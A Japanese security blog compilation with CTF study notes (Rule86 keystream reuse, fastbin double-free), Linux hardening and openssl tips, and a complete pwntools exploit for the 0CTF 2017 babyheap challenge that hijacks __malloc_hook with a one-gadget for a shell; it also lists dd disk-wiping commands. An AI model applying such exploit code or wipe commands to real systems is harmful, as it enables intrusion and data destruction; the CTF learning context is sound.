Insomni'hack teaser 2018 writeup
welcomeしかできてないので実質0完。 Rule86の途中までしかできなかったのでそのwriteup。
Rule86
同期型ストリーム暗号の問題。 簡単に言えば鍵から生成した疑似乱数列と平文のxorを取るような暗号で、同じ鍵からは同じ疑似乱数列が生成されなければならない。 ダウンロードしてきたファイルの中にRule86.txtの平文と暗号文があるので、使われた疑似乱数列が復元できる。 問題文には同じ鍵を再利用していると書いてあるので、他のファイルも同じ乱数列で復号できるようになる。 それで他のファイル、hint.gif.encとsuper_cipher.py.encを復号すると、途中まで復号することができる。 super_cipher.py.encは復号できる前半部分に疑似乱数を生成する関数がある。 この関数を調べると、どうも直前に生成した乱数を引数にして次の乱数を生成するようになっているらしいので、足りない疑似乱数列の続きを生成できるようになる。 処理は32バイト単位。 ここまでpython2でやってたけど、この関数はpython3じゃないと微妙に誤差がでるのでそこでひっかかってた。 python3に切り替えて復元した疑似乱数列の続きを生成して復号すると、hint.gifとsuper_cipher.pyも完全に復元できた。
hint.gifには鍵がフラグであるみたいなことが書いてあったんだが、そこからが分からなかった。 控え目にいって32文字ほどありそうな鍵をブルートフォースするのも現実的ではないし、256回ほど疑似乱数生成処理を挟んで初期化しているから推測できそうもないし、orを使ってマッピングしているから逆算できそうもなし、gifファイルは画像一枚しか見つからないから何かありそうな感じもしない。 ここでお手上げ状態になりそのまま36時間経過してしまった。
linuxのセキュリティツール
Linuxで使えるセキュリティツールの使い方のメモ。
ClamAV
アンチウイルスソフト。 avastとかより検知率は低いっぽいがないよりマシ。 定期的なシステム全体のスキャンなどもできる。 特にCLIから個別のファイルのスキャンができるのが便利。
# install sudo apt install clamav # scan clamscan file clamscan -i file # -iを付けると感染している疑いのあるファイルしか表示されない
rkhunter
ルートキット検知ツール。 システムファイルやコマンドのプログラムをチェックしてルートキットが仕込まれていないかを調べられる。 定期的に実行してメールを送信させることもできるっぽいけど、個人で使ってるくらいだと必要ないかな。
# install sudo apt install rkhunter # check local system sudo rkhunter -c
チェックが終わると/var/log/rkhunter.logでログが確認できる。 そのままだと問題ないファイルでも警告が出てしまうので、環境に合わせてホワイトリストを設定するといい。 /etc/rkhunter.confが設定ファイルになる。
ufw
ファイアウォール。 iptablesのラッパーで、ubuntuではデフォルトで入っているはず。
sudo ufw enable # 有効化 sudo ufw default DENY # デフォルトのポリシーを設定、DENYにすると安全 sudo ufw allow 80/tcp # 開けておく必要があるポートやサービスの設定ができる
iptablesより楽に使えるので、公開サーバとかではなく個人で使うくらいなら十分じゃないかと思う。
lynis
システム全体をチェックしてくれる。 インストールするには公式のサイトの方法でやるのがいい。 aptなどでは古いものになってしまう。
# install apt-key adv --keyserver keyserver.ubuntu.com --recv-keys C80E383C3DE9F082E01391A0366C67DE91CA5D5F apt install apt-transport-https echo 'Acquire::Languages "none";' > /etc/apt/apt.conf.d/99disable-translations echo "deb https://packages.cisofy.com/community/lynis/deb/ stable main" > /etc/apt/sources.list.d/cisofy-lynis.list apt update apt remove lynis apt install lynis # 使い方 sudo lynis audit system # チェック
基本的には/var/log/lynis-report.datから警告や推奨された対策を取っていくことになる。 チェックした後にどれほど堅牢なのかのスコアが表示されるので高得点を目指そう。
TODO
- debsums
- apt-show-versions
- proccess accounting
- sysstat
- auditd
ddでディスク消去メモ
HDDのディスク消去したときのメモ。
fdisk -l
で現在認識されているディスク一覧が確認できる。
内容をちゃんと消去するには0で上書きするのがいい。
dd if=/dev/zero of=/dev/sdX bs=4096
普通はこれで十分。
ランダムデータを書き込むとさらに復元が困難になる。
dd if=/dev/urandom of=/dev/sdX bs=4096
dd
はデータのコピーとかにも使えるし便利。
Heap exploitationのお勉強メモ1
heap知らなさすぎてナウなpwnが解けないので少しずつやり始めました。 mallocとfreeのアルゴリズムはここでお勉強した。
攻撃方法はshellphishのhow2heapでお勉強してる。
PoCプログラムに混じって置いてあるmalloc_playgroud
が最高に良い。
全ての機能は使えてないけど、対話的にmalloc、freeして返されるアドレスを見れるのでfastbinとかsmallbinとかの挙動を実際に動かして確認できる。
PoCプログラムも説明がきちんとされているので分かりやすいし、その上参考になる過去のCTFの問題のリンクまで貼ってくれている。
至れり尽せりって感じだった。
その中でfastbin_dup
のお勉強をしたのでそのメモ。
fastbin dup
サンプルとしてshellphish/how2heapのソースを最低限まで削ったものを使わせてもらう。
#include <stdio.h> #include <stdlib.h> int main() { int *a = malloc(8); int *b = malloc(8); free(a); // free(a); // 2回連続で同じチャンクをfastbinsに繋ぐとエラーが出る free(b); free(a); // 間に別のチャンクを繋ぐとエラーが出ない malloc(8); // a malloc(8); // b malloc(8); // a! }
double-free
ができる必要があるはず、そしてfastbinでないとできないのである程度小さい領域がmallocできないといけない。
これをすると、mallocしたときに同じ領域を2回返させることができるようになる。
手順は、まず2回mallocしてfastbinのサイズの領域(64bit環境だと128バイトまで?)を2つ取得する。 同じサイズじゃないと同じbinsに繋がれないので、8バイトに揃えてる。 最初の領域がa、2回目の領域がbとする。
次にa -> b -> a
の順番でfreeする、a -> a
とやっちゃうとdouble-free
が検出されてプログラムが強制終了させられる。
この時点でfree済のfastbinとして[fastbins head] -> a -> b -> a
って感じにaが2回繋がれることになる。
ここでさっきと同じサイズ(8バイト)をmallocすると、無駄にheap領域を使わないようにfreeされて使わなくなった領域を返すようになっている。
FILOになっているのでfreeした順とは逆順になってmallocで返される。
このとき、double-free
で2回登録しているので2回同じチャンクが返されることになる。
ちなみにsmall binやlarge binではdouble-free
はしっかり検出されるので同じようにやってもできないようになってる。
0CTF babyheap
http://uaf.io/exploitation/2017/03/19/0ctf-Quals-2017-BabyHeap2017.html
例題として挙げられていた問題。
いまはfastbin_dup_into_stack
の例題になっている。
あとでwriteupする。一年越しのリベンジ、人に聞いてようやくできた。
Writeupの解法
ヒープ領域でのバッファオーバーフローができるので、他のヒープの情報を改ざんして既に取得しているチャンクをもう一度取得し、freeすることでsmallbinのアドレスをリークさせる。
次に、リークしたアドレスからlibcのベースアドレスを計算し、そこからone gadget RCEのアドレスと__malloc_hook
のアドレスを取得する。
最後にヒープ領域のfree済チャンクのfdを__malloc_hook
近辺に書き換えて取得し、そこにone gadget RCEのアドレスを書き込む。
あとはmalloc
を呼び出すだけで__malloc_hook
のone gadget RCEが起動してシェルに入れる。
ExploitもほとんどWriteupのパクリ、ちょっとだけ解説を足した。
#!/usr/bin/env python2 # -*- coding: utf-8 -*- from pwn import * context.update(arch='i386') exe = './babyheap' def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.GDB: return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw) elif args.REMOTE: return remote( '', ) else: return process([exe] + argv, *a, **kw) # # gdb # gdbscript = ''' # continue # '''.format(**locals()) #=========================================================== # EXPLOIT GOES HERE #=========================================================== menu = {'alloc': '1', 'fill': '2', 'free': '3', 'dump': '4', 'exit': '5'} def alloc(size): io.sendlineafter('Command: ', menu['alloc']) io.sendlineafter('Size: ', str(size)) idx = int(io.recvline().replace('Allocate Index', '')) log.debug('alloc({})'.format(size)) log.debug('alloc returns {}'.format(idx)) return idx def fill(idx, size, content): io.sendlineafter('Command: ', menu['fill']) io.sendlineafter('Index: ', str(idx)) io.sendlineafter('Size: ', str(size)) io.sendlineafter('Content: ', content) log.debug('fill({}, {}, {})'.format(idx, size, content)) def free(idx): io.sendlineafter('Command: ', menu['free']) io.sendlineafter('Index: ', str(idx)) log.debug('free({})'.format(idx)) def dump(idx): io.sendlineafter('Command: ', menu['dump']) io.sendlineafter('Index: ', str(idx)) log.debug('dump({})'.format(idx)) return io.recvuntil('1. Allocate').replace('1. Allocate', '').replace( 'Content: \n', '') io = start() # インデックスがNならidx[N]と書くようにする alloc(0x20) # idx[0] alloc(0x20) # idx[1] alloc(0x20) # idx[2] alloc(0x20) # idx[3] alloc(0x80) # idx[4] free(1) free(2) # freeリストがfastbin[0x30]->idx[2]->idx[1]になる # chunk_sizeとアライメントの関係で0x20を確保する場合、0x30が実際に確保されるサイズになる # freeされたidx[2]のfdの末尾1バイトを書き換えて、idx[4]を指すようにする payload = '' payload += p64(0) * 5 # 32バイトは確保した領域、8バイトはアライメントの兼ね合いで発生した余剰領域 payload += p64(0x31) # idx[1]のchunk_size、変えてしまわないように同じサイズを書き込む。0x1はprev_in_useフラグ payload += p64(0) * 5 # 同様 payload += p64(0x31) # 同様 payload += p8(0xc0) # idx[2].fdの末尾を書き換える # ASLRが有効でもヒープ領域開始位置は末尾が0x00で相対位置が同じになるので、0xc0でOK fill(0, len(payload), payload) # freeしたときのfastbinでのチェックを通すため、サイズを対応するfastbinのものに書き換える payload = '' payload += p64(0) * 5 # 同様 payload += p64(0x31) # idx[4].chunk_sizeを0x31(fastbinのサイズ)に書き換え fill(3, len(payload), payload) alloc(0x20) # fastbins[0x30]から取得、idx[2]だったチャンクが返る。新しいインデックスは1 alloc(0x20) # idx[1]だったチャンクが返るはずだけど、idx[2].fdを書き換えたのでidx[4]のチャンクが返ってくる。インデックスは4 # この時点で、idx[2] == idx[4]になってる # ここでtopチャンクのアドレスを取得するために、freeしてidx[4].fdをsmallbinsに繋ぐ payload = '' payload += p64(0) * 5 payload += p64(0x91) # unsorted binに繋がれるように元のサイズを書き戻す fill(3, len(payload), payload) # 詳しくは理解してないけどtopチャンクと隣接してる場合はそのままtopチャンクに結合されてしまうらしく、それを防ぐためにalloc alloc(0x80) # idx[5]に入る free(4) # unsorted binに繋がれる # この時点でもidx[2] == idx[4]になってる # idx[4]をfreeしたため、idx[2].user_dataにはidx[4].fd, idx[4].bkが入っている # idx[4].fdはtopチャンクを指しているっぽい # topチャンクはlibcのメモリ領域に入っているので、相対位置を計算することでlibcのベースアドレスが分かる libc_base = u64(dump(2)[:8]) - 0x3c4b78 log.info("libc_base: " + hex(libc_base)) alloc(0x68) # 0x70のチャンクをunsorted binから取得する、インデックスは4 free(4) # freeして、今度はfastbinsに繋ぐ malloc_hook_offset = 0x3c4b10 malloc_hook = libc_base + malloc_hook_offset adjusted_malloc_hook = malloc_hook + 0xd - 0x20 # Writeupの方を見た方が分かりやすい # malloc_hookのアドレスをmallocで確保した領域として返させるために、いろいろと工夫している # chunk_sizeがfastbinかどうかのチェックを突破するために、0x7ffff7...となっている部分をずらしてchunk_sizeが0x7fとなるようにする # こうするとchunk_sizeが0x70のfastbinのチャンクと認識されて、チェックが突破できる log.info('malloc_hook: 0x{:x}'.format(malloc_hook)) log.info('adjusted hook: 0x{:x}'.format(adjusted_malloc_hook)) payload = p64(adjusted_malloc_hook) # 現在smallbinsに繋がれているチャンクのfdに、すこしずらしたmalloc_hookのアドレスを書き込む # この時点でidx[2]はsmallbinsに繋がれているchunkを指している # 書き込んでsmallbinsに繋がれているchunkのfdを上書きする fill(2, len(payload), payload) alloc(0x60) # インデックスは4、smallbinsから取ってこられる alloc(0x60) # インデックスは6、idx[4].fdが改ざんされてmalloc_hookのちょっと上の方を指しているため、ここでadjusted_malloc_hookのアドレスが返されている # one gadget RCEリスト、条件を満さないものがいくつかあるみたいだったので総当たりした one_gadgets = [0x45216, 0x4526a, 0xf02a4, 0xf1147] one_gadget = libc_base + one_gadgets[1] log.info('one_gadget: 0x{:x}'.format(one_gadget)) # malloc_hookに該当する部分にone gadget RCEのアドレスを書き込む # malloc_hookに設定されたアドレスは、malloc内で最初の方で関数として呼び出される # つまり、ここでmalloc_hookに書き込んだ命令へのアドレスが次のmallocで実行されることになる payload = '\x00' * 3 payload += p64(one_gadget) fill(6, len(payload), payload) # パース処理の問題で直接送る # ここのmallocでmalloc_hookのone gadget RCEが実行される io.sendlineafter('Command: ', menu['alloc']) io.sendlineafter('Size: ', str(255)) io.interactive()
リンクされるlibcのメモ
pwnしてるときに知ったので簡単にメモ。
プログラムにlibc.so.6がリンクされるとき、ASLRによってランダム化されるのは7バイト分で、下3バイトは000で固定、上6バイトは0x00007fで固定になる。
リンクされたときのlibcのベースアドレスはldd
コマンドで知ることができる。
何回か実行するとベースアドレスがランダム化されているのが分かる。
追記
lddはどうも正しい値を返さないらしい。
この記事によると環境変数LD_TRACE_LOADED_OBJECTS
によって結果が変わる。
ASLRをオフにして実験してみた、実際はfish shellでやったけどbash記法で書く。
$ LD_TRACE_LOADED_OBJECTS=1 ldd some_program linux-vdso.so.1 => (0x00007ffff7ffa000) libtinfo.so.5 => /lib/x86_64-linux-gnu/libtinfo.so.5 (0x00007ffff7bae000) libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007ffff79aa000) libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffff75e0000) /lib64/ld-linux-x86-64.so.2 (0x00007ffff7dd7000) $ ldd some_program linux-vdso.so.1 => (0x00007ffff7ffa000) libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffff780a000) /lib64/ld-linux-x86-64.so.2 (0x00007ffff7dd7000)
結果はこんな感じになった。出力されるものが1つ増えているけど、実際にはどの値も間違っていた。 間違っているというか、pwnでret2libcできなかった。
解決策
gdb-pedaを使えば正しい方の値が手に入る。
一度プログラムを実行させてメモリにロードしてからvmmap libc
するとロードされたlibcの位置が分かる、一番最初のアドレスがベースアドレスになる。
例えば、以下の例の場合だとベースアドレスは0x7ffff7a0d000になる。少なくともret2libcはできるベースアドレスだった。
$ vmmap libc Start End Perm Name 0x00007ffff7a0d000 0x00007ffff7bcd000 r-xp /lib/x86_64-linux-gnu/libc-2.23.so 0x00007ffff7bcd000 0x00007ffff7dcd000 ---p /lib/x86_64-linux-gnu/libc-2.23.so 0x00007ffff7dcd000 0x00007ffff7dd1000 r--p /lib/x86_64-linux-gnu/libc-2.23.so 0x00007ffff7dd1000 0x00007ffff7dd3000 rw-p /lib/x86_64-linux-gnu/libc-2.23.so
ちなみにASLRが有効でもgdb環境下ではオフにされるので注意。
今度もっと詳しく調べてみよう。
追記その2
32bitのバイナリとlibcならlddで問題なくベースアドレスが取得できた。
Live USBでブートできなかったときのためのメモ
タイトル通り、USBでブートしようとしたらできなかったのでその解決方法。
古いPCにUSBブートでxubuntu入れようとしたらmissing operating system
の表示が出てブートできなかった。色々調べた結果、UNetBootinだとUSBにbootフラグが立たないときがあるらしい。
解決するにはGPartedかなにかでbootフラグを立ててやるだけでいい。 これでブートできた。
opensslでファイル暗号化
みんな見られたくない画像とか一杯ストレージにあるよな? そういうわけでopensslを使ってファイルを暗号化する方法をメモ。 自分一人が暗号化、復号化できればそれでいいので共通鍵方式のAESを使って暗号化する。速度的にRSAを使うより多分速いだろうし。
暗号化
openssl enc -e -aes-256-cbc -in secret.jpg -out secret.enc
パスワードだけ設定しなければならないので入力しよう、一応ファイルの先頭行なんかをパスワードとして渡せる-kfile
なんかもあるがパスをどこかに書き込むのは抵抗ある。
パスを忘れたらまず復号できないので絶対に忘れないようにしよう。量子コンピュータとか完成したら復号できるかもな。
これでsecret.jpgは暗号化される、元のファイルは残ってしまうのでshred
かなにかで削除しよう。
とはいえ、最近のファイルシステムじゃジャーナリングとかで残っちゃうらしい。その辺面白そうだしforenっぽいので調べてみたい。TODOリストの100個目くらいに追加しておこう。
openssl
はサブコマンドとそのオプションを取るようになっている。
encは共通鍵のアルゴリズムで暗号化、復号化するらしい。
-e
が暗号化の指定になる。
今回の例では-aes-256-cbc
でAESの256bitを使ったが128bitもある、特に理由がなければbit長は長い方がいい。
最後のcbcは暗号化のモードで、これは直前のブロックも使って暗号化する方式になる。
よく推奨されるモードはcbcとctr、逆にecbは解読されやすいので絶対に使ってはいけない。
ちなみに復号するときも同じ方式じゃないといけないので注意。
他にはDESとかもあるけどAESが一番無難だし、十分な強度がある。
DESは鍵長が短すぎるので必要がない限り使うべきじゃない。
他のアルゴリズムも調べると面白そう。
-in
と-out
入力と出力先の指定になる。
指定しないと標準入出力になるらしい、stdoutとstdinで指定しても標準入出力になる。
復号化
openssl enc -d -aes-256-cbc -in secret.enc -out decrypt.jpg
復号するには入力を暗号化されたファイルにして、-e
を-d
に替えるだけでいい。
RSA
単にファイルを暗号化したいだけなら必要ないが、公開鍵方式で暗号化することもできる。
openssl genrsa -aes256 -out rsa.pem openssl rsa -pubout -in rsa.pem -out rsa.pub.pem openssl rsautl -encrypt -pubin -inkey rsa.pub.pem -in secret.jpg -out secret.enc openssl rsautl -decrypt -inkey rsa.pem -in secret.enc -out decrypt.jpg
上から、AES256bitで暗号化された秘密鍵の生成、公開鍵の作成、暗号化、復号化の処理になる。 復号できる人と暗号化できる人を分けたいときとか、何度もパス入力するのめんどいときなんかにはこっちの方が使いやすいかもしれない。